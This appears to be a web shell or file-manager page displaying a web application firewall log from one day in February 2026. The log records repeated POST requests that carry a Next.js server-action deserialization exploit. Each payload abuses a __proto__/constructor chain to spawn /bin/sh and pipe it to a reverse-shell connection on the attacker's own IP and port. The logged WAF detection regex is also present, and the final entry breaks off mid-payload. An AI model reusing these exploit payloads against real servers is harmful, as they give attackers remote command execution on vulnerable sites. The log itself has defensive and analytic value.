HEX
Server: nginx/1.26.1
System: Linux iZrj9cbdvwu1cot8sjlyzlZ 5.10.134-15.al8.x86_64 #1 SMP Thu Jul 20 00:44:04 CST 2023 x86_64
User: www (1000)
PHP: 7.4.33
Disabled: passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
$ pwd: /www/wwwlogs/free_waf_log/
Upload Files
File: /www/wwwlogs/free_waf_log/未绑定域名_2026-02-24.log
["2026-02-24 18:31:33","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:31:33","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:31:33","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nnext-action:x\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","87.120.191.67","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","60秒以内累计超过6次以上非法请求,封锁180秒","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:620\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(9323,'87.120.191.67',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n\"$@0\"\r\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad--\r\n"]
["2026-02-24 18:57:36","176.65.132.94","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 0:{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new n.Socket();cl.connect(12323,'176.65.132.94',()=>{cl.pipe(s.stdin);s.stdout.pipe(cl);s.stderr.pipe(cl);});\",\"_formData\":{\"get\":\"$1:constructor:constructor\"}}}","POST \/ HTTP\/1.1\nconnection:close\naccept-encoding:gzip\nnext-action:x\ncontent-type:multipart\/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36\nhost:47.254.126.238:80\ncontent-length:621\n\n------WebKitFormBoundaryx8jO2oVc6SWP3Sad\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n{\"then\":\"$1:__proto__:then\",\"status\":\"resolved_model\",\"reason\":-1,\"value\":\"{\\\"then\\\":\\\"$B1337\\\"}\",\"_response\":{\"_prefix\":\"var n=process.mainModule.require('net'),c=process.mainModule.require('child_process'),s=c.spawn('\/bin\/sh',[]),cl=new 